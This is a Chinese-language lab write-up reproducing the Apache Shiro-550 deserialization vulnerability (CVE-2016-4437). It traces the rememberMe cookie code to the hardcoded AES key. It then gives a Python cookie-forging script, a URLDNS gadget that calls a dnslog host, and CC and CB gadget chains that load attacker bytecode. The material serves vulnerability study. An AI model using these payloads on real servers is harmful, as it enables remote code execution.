漏洞复现环境:

git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4

Tomcat: 9.0.109
jdk: 1.8.0_u65

漏洞靶场环境:

https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437
docker compose up -d

漏洞分析

shiro550反序列化漏洞使用了固定key进行AES加解密,特征是请求响应中包含字段rememberMe,先查找对应方法,CookieRemembermeManager类中的getRememberedSerializedIdentity方法:

    protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

        if (!WebUtils.isHttp(subjectContext)) {
            if (log.isDebugEnabled()) {
                String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a " +
                        "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
                        "immediately and ignoring rememberMe operation.";
                log.debug(msg);
            }
            return null;
        }

        WebSubjectContext wsc = (WebSubjectContext) subjectContext;
        if (isIdentityRemoved(wsc)) {
            return null;
        }

        HttpServletRequest request = WebUtils.getHttpRequest(wsc);
        HttpServletResponse response = WebUtils.getHttpResponse(wsc);

        String base64 = getCookie().readValue(request, response);
        // Browsers do not always remove cookies immediately (SHIRO-183)
        // ignore cookies that are scheduled for removal
        if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

        if (base64 != null) {
            base64 = ensurePadding(base64);
            if (log.isTraceEnabled()) {
                log.trace("Acquired Base64 encoded identity [" + base64 + "]");
            }
            byte[] decoded = Base64.decode(base64);
            if (log.isTraceEnabled()) {
                log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
            }
            return decoded;
        } else {
            //no cookie set - new site visitor?
            return null;
        }
    }

查找调用getRememberedSerializedIdentity的方法,AbstractRemembermeManager类中的getRememberedPrincipals方法:

    public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
        PrincipalCollection principals = null;
        try {
            byte[] bytes = getRememberedSerializedIdentity(subjectContext);
            //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
            if (bytes != null && bytes.length > 0) {
                principals = convertBytesToPrincipals(bytes, subjectContext);
            }
        } catch (RuntimeException re) {
            principals = onRememberedPrincipalFailure(re, subjectContext);
        }

        return principals;
    }

跟进convertBytesToPrincipals方法:

    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }

跟进decrypt方法:

    protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;
    }

一直跟进+Find Usages找到加解密方式以及硬编码的key:

    public byte[] getDecryptionCipherKey() {
        return decryptionCipherKey;
    }


    public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
        this.decryptionCipherKey = decryptionCipherKey;
    }


    public void setCipherKey(byte[] cipherKey) {
        //Since this method should only be used in symmetric ciphers
        //(where the enc and dec keys are the same), set it on both:
        setEncryptionCipherKey(cipherKey);
        setDecryptionCipherKey(cipherKey);
    }


    public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }


    public DefaultBlockCipherService(String algorithmName) {
        super(algorithmName);

        this.modeName = OperationMode.CBC.name();
        this.paddingSchemeName = PaddingScheme.PKCS5.getTransformationName();
        this.blockSize = DEFAULT_BLOCK_SIZE; //0 = use the JCA provider's default

        this.streamingModeName = OperationMode.CBC.name();
        this.streamingPaddingSchemeName = PaddingScheme.PKCS5.getTransformationName();
        this.streamingBlockSize = DEFAULT_STREAMING_BLOCK_SIZE;
    }


    public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {

        byte[] encrypted = ciphertext;

        //No IV, check if we need to read the IV from the stream:
        byte[] iv = null;

        if (isGenerateInitializationVectors(false)) {
            try {
                //We are generating IVs, so the ciphertext argument array is not actually 100% cipher text.  Instead, it
                //is:
                // - the first N bytes is the initialization vector, where N equals the value of the
                // 'initializationVectorSize' attribute.
                // - the remaining bytes in the method argument (arg.length - N) is the real cipher text.

                //So we need to chunk the method argument into its constituent parts to find the IV and then use
                //the IV to decrypt the real ciphertext:

                int ivSize = getInitializationVectorSize();
                int ivByteSize = ivSize / BITS_PER_BYTE;

                //now we know how large the iv is, so extract the iv bytes:
                iv = new byte[ivByteSize];
                System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);

                //remaining data is the actual encrypted ciphertext.  Isolate it:
                int encryptedSize = ciphertext.length - ivByteSize;
                encrypted = new byte[encryptedSize];
                System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
            } catch (Exception e) {
                String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
                throw new CryptoException(msg, e);
            }
        }

        return decrypt(encrypted, key, iv);
    }

    private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

可以分析出解密过程:base64decode -> AESdecode -> deserialize,key为base64编码的kPH+bIxk5D2deZiIxcaaaA==,iv是密文开头内容所以不用设置,填充方式为PKCS5,生成恶意Cookie的exp:

import base64
import uuid
from Crypto.Cipher import AES

with open("ser.bin", "rb") as f:
    data = f.read()

BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()  # PKCS5
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))

print(ciphertext)

URLDNS

URLDNS所需依赖都是java内置类,URLDNS.java:

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception {
        HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();

        URL url = new URL("http://d0otgz.dnslog.cn");
        Field hashcode = url.getClass().getDeclaredField("hashCode");
        hashcode.setAccessible(true);
        hashcode.set(url, 114514);

        hashmap.put(url, 1);

        hashcode.set(url, -1);
        serialize(hashmap);
    }
}

alt

CC

由于shiro中不能加载数组类,所以需要拼接CC3,CC2,CC6:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;

import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

public class CC {
    public static void main(String[] args) throws Exception {
        // CC3
        TemplatesImpl templatesImpl = new TemplatesImpl();
        Field _nameField = templatesImpl.getClass().getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templatesImpl, "sxc");

        Field _bytecodesField = templatesImpl.getClass().getDeclaredField("_bytecodes");
        _bytecodesField.setAccessible(true);
        byte[] bytecode = Files.readAllBytes(Paths.get("path\\to\\Calc.class"));
        byte[][] bytecodes = {bytecode};

        _bytecodesField.set(templatesImpl, bytecodes);

        // CC2
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

        // CC6
        HashMap<Object, Object> hashmap = new HashMap<>();
        Map<Object, Object> lazymap = LazyMap.decorate(hashmap, (new ConstantTransformer("1")));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templatesImpl);
        HashMap<Object, Object> hm = new HashMap<>();
        hm.put(tiedMapEntry, "258");
        lazymap.remove(templatesImpl);

        Class clazz = LazyMap.class;
        Field factoryField = clazz.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazymap, invokerTransformer);

        serialize(hm);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException, ClassNotFoundException {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

CB

CB链:PriorityQueue.readObject -> BeanComparator.compare -> PropertyUtils.getProperty(TemplatesImpl, "outputProperties") -> TemplatesImpl.getOutputProperties -> defineTransletClasses.defineClass -> getTransletInstance中调用newInstance()

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.PriorityQueue;

import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

public class CB {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        Field _nameField = templatesImpl.getClass().getDeclaredField("_name");
        _nameField.setAccessible(true);
        _nameField.set(templatesImpl, "sxc");

        Field _bytecodesField = templatesImpl.getClass().getDeclaredField("_bytecodes");
        _bytecodesField.setAccessible(true);
        byte[] bytecode = Files.readAllBytes(Paths.get("path\\to\\Calc.class"));
        byte[][] bytecodes = {bytecode};

        _bytecodesField.set(templatesImpl, bytecodes);

//        PropertyUtils.getProperty(templatesImpl, "outputProperties");
        BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());


        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));


        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(templatesImpl);
        priorityQueue.add(2);

        Field comparatorField = priorityQueue.getClass().getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(priorityQueue, beanComparator);

        serialize(priorityQueue);
    }

    public static void serialize(Object obj) throws IOException, ClassNotFoundException {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            oos.writeObject(obj);
    }
}

参考资料:

https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437

https://arrnitage.github.io/Shiro-550/

https://www.bilibili.com/video/BV1dq4y1B76x